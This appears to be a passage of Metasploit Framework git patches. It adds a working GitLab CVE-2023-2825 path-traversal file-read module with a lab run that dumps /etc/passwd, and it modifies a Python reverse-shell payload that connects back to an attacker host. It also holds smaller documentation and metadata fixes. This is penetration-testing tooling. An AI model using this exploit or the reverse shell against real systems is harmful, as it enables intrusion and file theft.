encode_block(state, buf) return buf if state.badchars !~ /\s/ # Perform brace expansion encoding - "{#{buf.gsub(',', '\\,').gsub(/\s+/, ',')}}" + "{#{buf.gsub(/([{,}])/, '\\\\\1').gsub(/\s+/, ',')}}" end end From 93479be5e6e859e57e2971fa505e779629a1291d Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 26 May 2023 15:47:22 -0400 Subject: [PATCH 215/415] review comments --- .../modules/auxiliary/scanner/http/apache_nifi_version.md | 4 ++-- modules/auxiliary/scanner/http/apache_nifi_version.rb | 2 -- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md index 60e18e8522395..50ad218bcb477 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_version.md @@ -10,7 +10,7 @@ Also works against NiFi <= 1.13.0, but the module needs to be adjusted: ### Docker Install -Apache manages Docker installs for nifi with version numbers, simply select the version number you wish to install. Examples: +Apache manages Docker installs for NiFi with version numbers, simply select the version number you wish to install. Examples: ``` docker run -p 8443:8443 -d apache/nifi:1.21.0 @@ -34,7 +34,7 @@ docker run -p 8080:8080 -d apache/nifi:1.11.0 1. Do: `use auxiliary/scanner/http/apache_nifi_version` 1. Do: `set rhosts [ip]` 1. Do: `run` -1. You should get back the version number of the nifi instance +1. You should get back the version number of the NiFi instance ## Options diff --git a/modules/auxiliary/scanner/http/apache_nifi_version.rb b/modules/auxiliary/scanner/http/apache_nifi_version.rb index a60a9785989e8..ed4167cc65226 100644 --- a/modules/auxiliary/scanner/http/apache_nifi_version.rb +++ b/modules/auxiliary/scanner/http/apache_nifi_version.rb @@ -56,7 +56,5 @@ def run_host(ip) else print_bad("Apache NiFi not detected on #{ip}") end - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end From cf2ca434a8ab3faaee98396365998bf075b8c622 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 26 May 2023 15:53:16 -0400 Subject: [PATCH 216/415] spelling --- .../modules/auxiliary/scanner/http/apache_nifi_login.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md index 04be61a7aaf35..4aa70c07209f6 100644 --- a/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md +++ b/documentation/modules/auxiliary/scanner/http/apache_nifi_login.md @@ -10,7 +10,7 @@ Also works against NiFi <= 1.13.0, but the module needs to be adjusted: ### Docker Install -Apache manages Docker installs for nifi with version numbers, simply select the version number you wish to install. Examples: +Apache manages Docker installs for NiFi with version numbers, simply select the version number you wish to install. Examples: ``` docker run -p 8443:8443 -d apache/nifi:1.21.0 From 489421f6beadd85ba918d4aa310a00b9f9b50f0c Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Sun, 28 May 2023 00:29:17 +0100 Subject: [PATCH 217/415] Fix incorrect error handling in ibm sametime enumerate users --- modules/auxiliary/gather/ibm_sametime_enumerate_users.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index 1f98588329dbf..892df11ab642b 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -132,7 +132,7 @@ def run # valid JSON response - valid response for check print_good("Response received, continuing to enumeration phase") end - rescue JSON::ParserError, + rescue JSON::ParserError print_error("Error parsing JSON: Invalid response from server") return end From 0ccfa4af876c17a81025d7c0a6576e1b67ee0df6 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 29 May 2023 00:48:15 -0400 Subject: [PATCH 218/415] gitlab file read CVE-2023-2825 --- .../http/gitlab_subgroups_file_read.md | 132 ++++++++++ .../http/gitlab_subgroups_file_read.rb | 232 ++++++++++++++++++ 2 files changed, 364 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md create mode 100644 modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md b/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md new file mode 100644 index 0000000000000..f2c0321374949 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md @@ -0,0 +1,132 @@ +## Vulnerable Application + +Gitlab version 16.0 contains a directory traversal for arbitrary file read as the gitlab user. +In order to exploit this vulnerability, a user must be able to create a project and groups. +When exploiting this vulnerability, a group (or subgroup under the group) must be created +for each level of the traversal. If the depth is 11 for the dir traversal, then a group +and 10 sub-groups will be created. Lastly a project is created for that subgroup. +With all these requirements satisfied a dummy file is uploaded, and the full +traversal is then executed. Cleanup is performed by deleting the first group which +cascades to deleting all other objects created. + +Tested on Docker image of gitlab 16.0 + +### Install + +A docker image is available: + +``` +sudo docker run --detach \ + --hostname gitlab.example.com \ + --publish 443:443 --publish 80:80 --publish 22:22 \ + --name gitlab \ + --restart always \ + --volume $GITLAB_HOME/config:/etc/gitlab \ + --volume $GITLAB_HOME/logs:/var/log/gitlab \ + --volume $GITLAB_HOME/data:/var/opt/gitlab \ + --shm-size 256m \ +gitlab/gitlab-ee:16.0.0-ee.0 +``` + +To retrieve the default password: + +``` +sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options + +### DEPTH + +Depth for Path Traversal (also groups creation), 11 seems pretty safe but it may work with less. Defaults to `11` + +### FILE + +File to read. Defaults to `/etc/passwd` + +## Scenarios + +### Docker Gitlab 16.0 + +``` +msf6 > use auxiliary/scanner/http/gitlab_subgroups_file_read +[*] Using auxiliary/scanner/http/gitlab_subgroups_file_read +msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > set username root +username => root +msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > set password r6eh7UfeWsEKuK4cJJP+dJ79X4xwmNMOHN6mBKSyd2s= +password => r6eh7UfeWsEKuK4cJJP+dJ79X4xwmNMOHN6mBKSyd2s= +msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > set verbose true +verbose => true +msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > exploit + +[+] CSRF Token: wYYZ0Q1TnrrZmqwpAk707emZcXsIlzMawZ7s-HycVHmo668JVMqDb-R8NCVTVEMNlDAWbrIwngXKSH2wWtURzQ +[*] Creating 11 groups +[*] Creating group: OqJVwVlC with parent id: +[+] CSRF Token: 8X7OT15TxpI36rOIu-ghgVbodK8fRl4Lz-3fqaNH_MmYE3iXB8rbRwoMK4Tq8pZhK0ETuqXh8xTEO07hhQ65fQ +[*] Creating group: 5hYTGpp8 with parent id: 2 +[+] CSRF Token: PNnNU0R5iB-57xVW20dBD0FKfb1yMw15tjvHCZICyG9VtHuLHeCVyoQJjVqKXfbvPOMaqMiUoGa97VZBtEuN2w +[*] Creating group: XlpSkZKQ with parent id: 3 +[+] CSRF Token: nS0eZJb7gVQM6-HYRPpj14MBhIq4WoObZOFASPC_F1b0QKi8z2KcgTENedQV4NQ3_qjjnwL9LoRvN9EA1vZS4g +[*] Creating group: KQCk8adK with parent id: 4 +[+] CSRF Token: yr8EaL1nQdm9aIhpGca1Ay8u2m3oLGqAk_BO23hw02Sj0rKw5P5cDICOEGVI3ALjUoe9eFKLx5-YJt-TXjmW0A +[*] Creating group: xg9hUYPo with parent id: 5 +[+] CSRF Token: 5wYo0n-rkMKFMRGlFyjN6knw71WIBDIUUjyLLDSE9UmOa54KJjKNF7jXialGMnoKNFmIQDKjnwtZ6hpkEs2w_Q +[*] Creating group: cNrX6LHf with parent id: 6 +[+] CSRF Token: Z4IipgGhLQixQu8cbyNznk2pIj0udxMCgGKHaEzqkw4O75R-WDgw3YykdxA-OcR-MABFKJTQvh2LtBYgaqPWug +[*] Creating group: Mg4MESRy with parent id: 7 +[+] CSRF Token: 4g209zNkQLg2Mf4RPMsSOjIGD-f2jaJrP_Fa4iYQRLaLYAIvav1dbQvXZh1t0aXaT69o8kwqD3Q0J8uqAFkBAg +[*] Creating group: 7b2cIgyZ with parent id: 8 +[+] CSRF Token: MbKcsl5RuiynfU8JyJ1iT_mBKKqfAWpuM7LEVjTTmPBY3ypqB8in-Zqb1wWZh9WvhChPvyWmx3E4ZFUeEprdRA +[*] Creating group: EDkbB7Mw with parent id: 9 +[+] CSRF Token: FbcBF0FcEy1vhn-ahOLHgz5wPx952kmwDNT2Qfte-Ud82rfPGMUO-FJg55bV-HBjQ9lYCsN95K8HAmcJ3Re88w +[*] Creating group: 4L2kbTKx with parent id: 10 +[+] CSRF Token: iSsK-buEQzOnykZ_DmtRo2_4RV6HSix8nLEpDN9WeSjgRrwh4h1e5pos3nNfceZDElEiSz3tgWOXZ7hE-R88nA +[*] Creating group: UrW6NUYW with parent id: 11 +[+] CSRF Token: _Md66xoUbGn3lOKAkgDR9p30KKPH6sDEBckrOfE8LNaVqswzQ41xvMpyeozDGmYW4F1Ptn1NbdsOH7px13VpYg +[*] Creating project 8tXCf26j +[*] Creating a dummy file in project +[*] Executing dir traversal +[+] root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +sshd:x:101:65534::/run/sshd:/usr/sbin/nologin +git:x:998:998::/var/opt/gitlab:/bin/sh +gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false +gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false +gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh +mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh +registry:x:993:993::/var/opt/gitlab/registry:/bin/sh +gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh +gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh + +[+] /etc/passwd saved to /root/.msf4/loot/20230529000533_default_127.0.0.1_Gitlabfile_212326.txt +[*] Deleting group OqJVwVlC +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb b/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb new file mode 100644 index 0000000000000..9329802415998 --- /dev/null +++ b/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb @@ -0,0 +1,232 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + # include Msf::Exploit::Git::SmartHttp + include Msf::Exploit::Remote::HttpClient + # include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HTTP::Gitlab + # include Msf::Exploit::RubyDeserialization + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + attr_accessor :cookie + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GitLab Authenticated File Read', + 'Description' => %q{ + Gitlab version 16.0 contains a directory traversal for arbitrary file read as the gitlab user. + In order to exploit this vulnerability, a user must be able to create a project and groups. + When exploiting this vulnerability, a group (or subgroup under the group) must be created + for each level of the traversal. If the depth is 11 for the dir traversal, then a group + and 10 sub-groups will be created. Lastly a project is created for that subgroup. + With all these requirements satisfied a dummy file is uploaded, and the full + traversal is then executed. Cleanup is performed by deleting the first group which + cascades to deleting all other objects created. + + Tested on Docker image of gitlab 16.0 + }, + 'Author' => [ + 'h00die', # msf module + 'pwnie', # discovery on hackerone + 'Vitellozzo', # PoC on github + ], + 'References' => [ + ['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'], + ['URL', 'https://github.com/Occamsec/CVE-2023-2825'], + ['URL', 'https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/'], + ['CVE', '2023-2825'] + ], + 'DisclosureDate' => '2023-05-23', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), + OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), + OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]), + OptString.new('File', [true, 'File to read', '/etc/passwd']) + ] + ) + deregister_options('GIT_URI') + end + + def get_csrf(body) + body =~ /"csrf-token" content="([^"]+)"/ + ::Regexp.last_match(1) + end + + def check_host(_ip) + # check method almost entirely borrowed from gitlab_github_import_rce_cve_2022_2992 + self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie + + vprint_status('Trying to get the GitLab version') + + version = Rex::Version.new(gitlab_version) + + return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless ( + version == Rex::Version.new('16.0.0') + ) + + report_vuln( + host: rhost, + name: name, + refs: references, + info: [version] + ) + return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError + return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.') + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e + return Exploit::CheckCode::Unknown("#{e.class} - #{e.message}") + end + + def run_host(ip) + self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie + # get our csrf token + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + csrf_token = get_csrf(res.body) + vprint_good("CSRF Token: #{csrf_token}") + + # create nested groups to the appropriate depth + print_status("Creating #{datastore['DEPTH']} groups") + parent_id = '' + first_group = '' + (1..datastore['DEPTH']).each do |_| + name = Rex::Text.rand_text_alphanumeric(8, 10) + first_group = name if first_group.empty? + vprint_status("Creating group: #{name} with parent id: #{parent_id}") + # a success will give a 302 and direct us to / + res = send_request_cgi!({ + 'uri' => normalize_uri(target_uri.path, 'groups'), + 'method' => 'POST', + 'vars_post' => { + 'group[parent_id]' => parent_id, + 'group[name]' => name, + 'group[path]' => name, + 'group[visibility_level]' => 20, + 'user[role]' => 'software_developer', + 'group[jobs_to_be_done]' => '', + 'authenticity_token' => csrf_token + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + csrf_token = get_csrf(res.body) + vprint_good("CSRF Token: #{csrf_token}") + + # grab our parent group ID for nesting + res.body =~ /data-clipboard-text="([^"]+)" type="button" title="Copy group ID"/ + parent_id = ::Regexp.last_match(1) + end + + # create a new project + + project_name = Rex::Text.rand_text_alphanumeric(8, 10) + print_status("Creating project #{project_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'projects'), + 'method' => 'POST', + 'vars_post' => { + 'project[ci_cd_only]' => 'false', + 'project[name]' => project_name, + 'project[selected_namespace_id]' => parent_id, + 'project[namespace_id]' => parent_id, + 'project[path]' => project_name, + 'project[visibility_level]' => 20, + 'project[initialize_with_readme]' => 1, # The POC is missing a ] here, fingerprintable? + 'authenticity_token' => csrf_token + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302 + csrf_token = get_csrf(res.body) + + project_id = res.headers['Location'].to_s.split('/')[3..].join('/') # strip off http[s]://ip/, seems like there should be a better way to do this though + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, project_id) + }) + csrf_token = get_csrf(res.body) + + # upload a dummy file + print_status('Creating a dummy file in project') + file_name = Rex::Text.rand_text_alphanumeric(8, 10) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, project_id, 'uploads'), + 'method' => 'POST', + 'headers' => { + 'X-CSRF-Token' => csrf_token, + 'Accept' => '*/*' # required or you get a 404 + }, + 'vars_form_data' => [ + { + 'name' => 'file', + 'filename' => file_name, + 'data' => Rex::Text.rand_text_alphanumeric(4, 25) + } + ] + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 + res = res.get_json_document + file_url = res['link']['url'] + # remove our file name + file_url = file_url.gsub("/#{file_name}", '') + + # finally, read our file + print_status('Executing dir traversal') + target_file = datastore['FILE'] + target_file = target_file.gsub('/', '%2F') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, project_id, file_url, '..%2F' * datastore['DEPTH'] + "..#{target_file}"), + 'headers' => { + 'Accept' => '*/*' # required or you get a 404 + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + if res.code == 500 + print_error("Unable to read file (permissions, or file doens't exist)") + elsif res.code != 200 + print_error("#{peer} - Unexpected Respones Code (response code: #{res.code})") # don't fail_with so we can cleanup + end + + if !res.body.empty? && res.code == 200 + print_good(res.body) + loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE']) + print_good("#{datastore['FILE']} saved to #{loot_path}") + elsif res.body.empty? + print_error('Response has 0 size.') + else + print_error('Bad response, initiating cleanup') + end + + # deleting the first group will delete the sub-groups and project + print_status("Deleting group #{first_group}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, first_group), + 'method' => 'POST', + 'vars_post' => { + 'authenticity_token' => csrf_token, + '_method' => 'delete' + } + }) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302 + end +end From 01359e77a7b3833444b3ff6643b1c7005ad57b59 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 29 May 2023 00:52:07 -0400 Subject: [PATCH 219/415] gitlab file read CVE-2023-2825 --- modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb b/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb index 9329802415998..a6f71598a9cc7 100644 --- a/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb +++ b/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb @@ -4,11 +4,8 @@ ## class MetasploitModule < Msf::Auxiliary - # include Msf::Exploit::Git::SmartHttp include Msf::Exploit::Remote::HttpClient - # include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Gitlab - # include Msf::Exploit::RubyDeserialization include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report From 5f308e0176728df0cfb80cea2fff96a417fa5c3e Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 29 May 2023 00:55:02 -0400 Subject: [PATCH 220/415] gitlab file read CVE-2023-2825 --- .../auxiliary/scanner/http/gitlab_subgroups_file_read.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md b/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md index f2c0321374949..a8afca3c7f1f4 100644 --- a/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md @@ -38,9 +38,12 @@ sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password 1. Install the application 1. Start msfconsole -1. Do: `use [module path]` +1. Do: `use auxiliary/scanner/http/gitlab_subgroups_file_read` +1. Do: `set rhosts [ip]` +1. Do: `set username [username]` +1. DO: `set password [password]` 1. Do: `run` -1. You should get a shell. +1. You should be able to read an arbitrary file. ## Options From bebf8d4db8fe97a232f40883b5272d15b5a9d545 Mon Sep 17 00:00:00 2001 From: manishkumarr1017 Date: Mon, 29 May 2023 21:38:16 +0530 Subject: [PATCH 221/415] changing payload structure of python's reverse_tcp for fixing windows bytes args is not allowed issue --- .../payloads/singles/python/shell_reverse_tcp.rb | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index 1c0ced2d5e776..e2e4c234230d9 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -45,15 +45,19 @@ def command_string cmd = <<~PYTHON import socket as s import subprocess as r + import platform so=s.socket(s.AF_INET,s.SOCK_STREAM) so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']})) while True: - d=so.recv(1024) - if len(d)==0: - break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) - o=p.stdout.read()+p.stderr.read() - so.send(o) + d=so.recv(1024) + if len(d)==0: + break + if platform.system()=='Windows': + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + else: + p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + o=p.stdout.read()+p.stderr.read() + so.send(o) PYTHON py_create_exec_stub(cmd) From b9038bfbfb3cda64f5c30429e89e5181b3bf79e2 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 29 May 2023 11:48:51 -0500 Subject: [PATCH 222/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 56 +++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 577f9ca6ce6dd..9694f48a6e0d2 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -25535,6 +25535,62 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/apache_nifi_version": { + "name": "Apache NiFi Version Scanner", + "fullname": "auxiliary/scanner/http/apache_nifi_version", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "h00die" + ], + "description": "This module identifies Apache NiFi websites and reports their version number.\n\n Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0\n Also works against NiFi <= 1.13.0, but the module needs to be adjusted:\n set SSL false\n set rport 8080", + "references": [ + + ], + "platform": "", + "arch": "", + "rport": 8443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-05-26 15:47:22 +0000", + "path": "/modules/auxiliary/scanner/http/apache_nifi_version.rb", + "is_install_path": true, + "ref_name": "scanner/http/apache_nifi_version", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/apache_normalize_path": { "name": "Apache 2.4.49/2.4.50 Traversal RCE scanner", "fullname": "auxiliary/scanner/http/apache_normalize_path", From 1018ed1aaf99ce36893114f9a2b5fc1dd785b26b Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Mon, 29 May 2023 15:40:42 -0400 Subject: [PATCH 223/415] Update documentation/modules/auxiliary/dos/ftp/vsftpd_232.md --- documentation/modules/auxiliary/dos/ftp/vsftpd_232.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index 055289af4f275..31a0eed616e7d 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -14,11 +14,11 @@ resources of the machine. ## Options -+---------+----------------------------------------------+ -| FTPUSER | The username used to log into the FTP server | -+---------+----------------------------------------------+ -| FTPPASS | The password used to log into the FTP server | -+---------+----------------------------------------------+ +### FTPUSER +The username used to log into the FTP server + +### FTPPASS +The password used to log into the FTP server ### Install on Arch Linux From b575f92d0ae5d74534c0a0bb664032e06f783837 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 29 May 2023 17:55:36 -0400 Subject: [PATCH 224/415] Minor fix in vsftpd docs --- documentation/modules/auxiliary/dos/ftp/vsftpd_232.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index 31a0eed616e7d..e07c50aeceb5f 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -1,6 +1,6 @@ ## Vulnerable Application -This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. The +This is an auxiliary for DOSing a VSFTPD server from version 2.3.2 and below. The vulnerability has been directly tested on versions 2.3.0, 2.3.1, and 2.3.2 and have shown success. From d74b221df328e53f47d3313d4e7082075c6643f0 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 29 May 2023 17:02:08 -0500 Subject: [PATCH 225/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 53 +++++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 9694f48a6e0d2..e12c1336ca7e0 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -11433,6 +11433,59 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_dos/ftp/vsftpd_232": { + "name": "VSFTPD 2.3.2 Denial of Service", + "fullname": "auxiliary/dos/ftp/vsftpd_232", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2011-02-03", + "type": "auxiliary", + "author": [ + "Nick Cottrell (Rad10Logic) ", + "Anna Graterol ", + "Mana Mostaani ", + "Maksymilian Arciemowicz" + ], + "description": "This module triggers a Denial of Service condition in the VSFTPD server in\n versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.", + "references": [ + "BID-46617", + "CVE-2011-0762", + "EDB-16270" + ], + "platform": "", + "arch": "", + "rport": 21, + "autofilter_ports": [ + 21, + 2121 + ], + "autofilter_services": [ + "ftp" + ], + "targets": null, + "mod_time": "2023-05-25 21:21:49 +0000", + "path": "/modules/auxiliary/dos/ftp/vsftpd_232.rb", + "is_install_path": true, + "ref_name": "dos/ftp/vsftpd_232", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-service-down" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_dos/hp/data_protector_rds": { "name": "HP Data Protector Manager RDS DOS", "fullname": "auxiliary/dos/hp/data_protector_rds", From a94f78ec03bd8eba79cae1d0e781664360268c88 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 30 May 2023 07:30:37 +1000 Subject: [PATCH 226/415] Use direct registry lookups to get version data, to cater for different language packs. --- lib/msf/core/post/windows/version.rb | 82 +++++++++++++++++++++------- 1 file changed, 62 insertions(+), 20 deletions(-) diff --git a/lib/msf/core/post/windows/version.rb b/lib/msf/core/post/windows/version.rb index 2b8eeb1e626b2..62f6cc757b5dc 100644 --- a/lib/msf/core/post/windows/version.rb +++ b/lib/msf/core/post/windows/version.rb @@ -17,6 +17,20 @@ def initialize(info = {}) ) end + def registry_query(key, value) + cmd = 'reg query "' + key + '" /v ' + value + vprint_line("Running registry query: #{cmd}") + raw_output = cmd_exec(cmd) + vprint_line("Output: #{raw_output}") + regexp = "#{value}\\s+REG_\\w+\\s+(.*)" + groups = raw_output.match(regexp) + if groups.nil? + return nil + end + + groups[1] + end + def get_version_info if session.type == 'meterpreter' result = session.railgun.ntdll.RtlGetVersion(input_os_version_info_ex) @@ -29,31 +43,59 @@ def get_version_info Msf::WindowsVersion.new(major, minor, build, service_pack, product_type) else - build_num_raw = 